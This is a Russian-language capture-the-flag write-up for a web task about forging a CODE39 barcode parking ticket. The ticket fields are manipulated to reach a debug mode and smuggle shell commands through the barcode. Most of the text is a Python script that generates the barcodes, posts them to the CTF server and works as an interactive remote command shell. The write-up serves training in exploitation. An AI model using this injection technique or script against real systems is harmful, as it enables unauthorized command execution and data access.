#web #debug #tctf2025
КапипаркингНаша задача подделать билет и попасть на паркинг в качестве вип гостя.
Билет проверяет паркомат Капибаровска.
У нас есть пример билета обычного посетителя.
На билете есть штрих код в формате CODE39.
Находим в интернете генератор таких штрихкодов ( или пишем на python ) и пытаемся, поменять какие-то значения.
Пример кода на билете, который шифруется 1%BABAN123%202504191104%.
Понимаем, что после каждого знака % идет разделение информации по типам.
Вторая часть отвечает за номер авто, в данном случае BABAN123, потом 3 часть - дата и время 202504191104.
Первая отвечает за тип билета, пытаемся менять его. 3%BABAN123%202504191104% - в таком случае билет считается vip, но паркомат требует vip ключ.
Тогда перебираем дальше и находим режим debug: 9%BABAN123%202504191104%. В нем от нас просят не ключ, а команду.
Пробуем добавить к коду на билете "ls%" и у нас есть ответ!
Пытаемся узнать кто мы и потыкать команды.
В итоге читаем файл по пути app/routes.py и находим там флаг.
Вот скрипт на python, который сам генерирует штрих код, отправляет его на сервер и эмитирует командную строку машины на той стороне:
from barcode import get_barcode_class
from barcode.writer import ImageWriter
from io import BytesIO
import requests
import json
# 1. Генерация штрихкода CODE39 в памяти (без сохранения на диск)
def generate_barcode(code_text):
Code39 = get_barcode_class('code39')
code39 = Code39(code_text, writer=ImageWriter())
buffer = BytesIO()
code39.write(buffer, options={'format': 'PNG'})
buffer.seek(0)
return buffer
# 2. Отправка POST-запроса
def send_barcode_image(image_buffer, filename="barcode.png"):
files = {
'image': (filename, image_buffer, 'image/png')
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": "https://t-parking-0a2zxpo1.spbctf.org/",
"Origin": "https://t-parking-0a2zxpo1.spbctf.org",
"Accept": "*/*"
}
cookies = {
"__cfduid": "7aec16a4dbb0ab6f8f27fac37264dce0"
}
response = requests.post(
"https://t-parking-0a2zxpo1.spbctf.org/scan",
files=files,
headers=headers,
cookies=cookies
)
return response.text
# --- Запуск ---
if __name__ == "__main__":
while True:
code = "9%BABAN123%202504191104%"
command = input("> ")
# code = code.replace(" ", "") # Убираем пробелы
code += command + "%"
filename = "barcode.png" # Имя файла только для запроса
img = generate_barcode(code)
response = send_barcode_image(img, filename)
try:
json_data = json.loads(response)
parking_fee = json_data.get("parking_fee", "")
if parking_fee is not None:
parking_fee_cleaned = parking_fee.replace("\n", " ").strip()
pretty = json.dumps(json_data, indent=2, ensure_ascii=False)
print(parking_fee_cleaned)
except json.JSONDecodeError:
print("[!] Ответ не является JSON:")
print(response)
Автор: @Evgeniy12337382
💬
Канал &
Чат &
Бот с тасками| 📺
RUTUBE |
📺 YouTube